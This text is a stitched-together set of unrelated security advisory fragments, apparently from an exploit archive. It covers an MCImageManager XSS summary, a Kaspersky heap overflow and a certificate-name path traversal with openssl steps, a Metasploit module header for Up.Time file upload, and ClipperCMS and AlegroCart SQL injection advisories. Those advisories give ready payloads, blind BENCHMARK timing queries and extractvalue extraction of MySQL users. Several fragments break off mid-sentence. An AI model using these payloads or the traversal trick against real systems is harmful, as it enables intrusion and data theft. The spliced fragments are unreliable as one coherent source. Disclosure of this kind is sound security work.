MCImageManager is prone to multiple security vulnerabilities.
An attacker may exploit these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, manipulate the page and spoof content to misguide users and to disclose or modify sensitive information. Other attacks may also be possible.
MCImageManager 3.1.5 and prior versions are vulnerable.

The attached testcase was found by fuzzing DEX files, and results in a heap overflow with a wild memcpy. Note that Kaspersky catch exceptions and continue execution, so running into unmapped pages doesn't terminate the process, this should make exploitation quite realistic.
(bb8.ac0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

This vulnerability is exploitable for remote code execution as NT AUTHORITY\SYSTEM.

When Kaspersky https inspection is enabled, temporary certificates are created in %PROGRAMDATA% for validation. I observed that the naming pattern is {CN}.cer.
I created a certificate with CN="../../../../Users/All Users/Start Menu/Startup/foo.bat\x00", browsed to an SSL server presenting that certificate and Kaspersky created that certificate name. Jumping from this to code execution seems quite straightforward. I didn't try it, but it seems quite easy to make some ASN.1/X.509 that is also a valid batch file or some other relaxed-parsing format.
Here is how to generate a certificate to reproduce:
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360
Generating a 2048 bit RSA private key
......................................................................+++
...............+++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:../../../../../Users/All Users/Desktop/hello
Email Address []:
Then test start a server like this:
$ openssl s_server -key key.pem -cert cert.pem -accept 8080
And then navigate to https://host:8080 from the Windows host, and observe a certificate called hello.cer on the desktop. I attached a screenshot to demonstrate. I can't believe this actually worked, note that it's not necessary to click or interact with anything to produce the file.

'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
'Description' => %q{
This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.
The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
by the vendor.
Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
can still be bypassed and gain privilege escalation, and allows the attacker to upload file
again, and execute arbitrary commands.

This module exploits an arbitrary file upload vulnerability found within the Up.Time
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
webroot without authentication, leading to arbitrary code execution.
Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly
mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use

1. Introduction
Affected Product: ClipperCMS 1.3.0
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.clippercms.com/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 10/02/2015
Disclosed to public: 11/13/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
There are multiple SQL Injection vulnerabilities in ClipperCMS 1.3.0.
An account with the role "Publisher" or "Administrator" is needed to exploit
each of these vulnerabilities.
3. SQL Injection 1 (Blind)
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
The id parameter of the web user editor is vulnerable to blind SQL Injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> true
http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='4',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> false
Code
/manager/actions/mutate_web_user.dynamic.php
$sql = "SELECT * FROM $dbase.`".$table_prefix."web_groups` where webuser=".$_GET['id']."";
4. SQL Injection 2
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When updating a user, the newusername parameter is vulnerable to SQL injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest
&newusername=testtest' or extractvalue(1,concat(0x7e,(SELECT concat(user) FROM mysql.user limit 0,1))) -- -

WHERE id=$id";
5. SQL Injection 3
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When updating a user, the country, role, blocked, blockeduntil, blockedafter,
failedlogincount, and gender parameter are vulnerable to SQL injection.
To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.
Proof of Concept
The proof of concepts for the country, role, blocked, blockeduntil,
failedlogincount, and blockedafter parameter are analog to this POC for gender:
POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest&newusername=testtest&newpassword=0&passwordgenmethod=g&specifiedpassword=&confirmpassword=&passwordnotifymethod=s&fullname=&email=foo6%40example.com&oldemail=foo3%40example.com&role=2&phone=&mobilephone=&fax=&state=&zip=&country=&dob=
&gender=2', fax=(SELECT concat(user) FROM mysql.user limit 0,1), dob='0
&comment=&failedlogincount=0&blocked=0&blockeduntil=&blockedafter=&manager_language=english&manager_login_startup=&allow_manager_access=1&allowed_ip=&manager_theme=&filemanager_path=&upload_images=&default_upload_images=1&upload_media=&default_upload_media=1&upload_flash=&default_upload_flash=1&upload_files=&default_upload_files=1&upload_maxsize=&which_editor=&editor_css_path=&rb_base_dir=&rb_base_url=&tinymce_editor_theme=&tinymce_custom_plugins=&tinymce_custom_buttons1=&tinymce_custom_buttons2=&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&photo=&save=Submit+Query
Visiting the overview page of that user will show the result of the injected
query.
Code
/manager/processors/save_user_processor.php
$sql = "UPDATE " . $modx->getFullTableName('user_attributes') . "
SET fullname='$fullname', role='$roleid', email='$email', phone='$phone',
mobilephone='$mobilephone', fax='$fax', zip='$zip', state='$state',
country='$country', gender='$gender', dob='$dob', photo='$photo', comment='$comment',
failedlogincount='$failedlogincount', blocked=$blocked, blockeduntil=$blockeduntil,
blockedafter=$blockedafter
WHERE internalKey=$id";

2. Overview
There is a blind SQL injection in the admin area of AlegroCart. Additionally,
there is a blind SQL injection when a customer purchases a product. Because of
a required interaction with PayPal, this injection is hard to exploit for an
attacker.
3. BLind SQL Injection (Admin)
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When viewing the list of uploaded files - or images - , the function
check_download is called. This function performs a database query with the
unsanitized name of the file. Because of this, an attacker can upload a file
containing SQL code in its name, which will be executed once files are listed.
Note that a similar function - check_filename - is called when deleting a file,
making it likely that this operation is vulnerable as well.
Admin credentials are required to exploit this issue.

4. BLind SQL Injection (Customer)
CVSS
Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
There is an SQL Injection when using Paypal as a payment method during
checkout.
Please note that this injection requires that a successful interaction with
Paypal took place. For test purposes, we commented out the parts of the code
that actually perform this interaction with Paypal.
Proof of Concept
1. Register a User
2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation"
3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.
The injection can be exploited blind:
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)
However, this is rather unpractical, especially considering the need for a
valid PayPal token for each request.
It is also possible with this injection to inject into an UPDATE statement in
update_order_status_paidunconfirmed. The problem here is that it is difficult
to create an injection that exploits the UPDATE statement, but also results in
an order_id being returned by the previous SELECT statement.
It may also be possible to use the order_id that can be controlled via the
SELECT statement to inject into the INSERT statement in update_order_history.
But again, it is difficult to craft a query that does this, but also returns a
valid result for the UPDATE query.
Code
/upload/catalog/extension/payment/paypal.php:
function orderUpdate($status = 'final_order_status', $override = 0) {
//Find the paid_unconfirmed status id
$results = $this->getOrderStatusId('order_status_paid_unconfirmed');
$paidUnconfirmedStatusId = $results?$results:0;
//Find the final order status id
$results = $this->getOrderStatusId($status);
$finalStatusId = $results?$results:0;
$reference = $this->request->get('ref');
//Get Order Id
$res = $this->modelPayment->get_order_id($reference);
$order_id = $res['order_id'];
//Update order only if state in paid unconfirmed OR override is set
if ($order_id) {
if ($override) {
// Update order status
$result = $this->modelPayment->update_order_status_override($finalStatusId,$reference);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'override');
}
} else {
// Update order status only if status is currently paid_unconfirmed
$result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN');
}
}
}
}
/upload/catalog/model/payment/model_payment.php:
function get_order_id($reference){
$result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'");
return $result;
}
function update_order_history($order_id, $finalStatusId,$comment){
$this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'");
}
function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){
$result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'"));

## Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.

DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.
## Vulnerabilities Summary
I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.
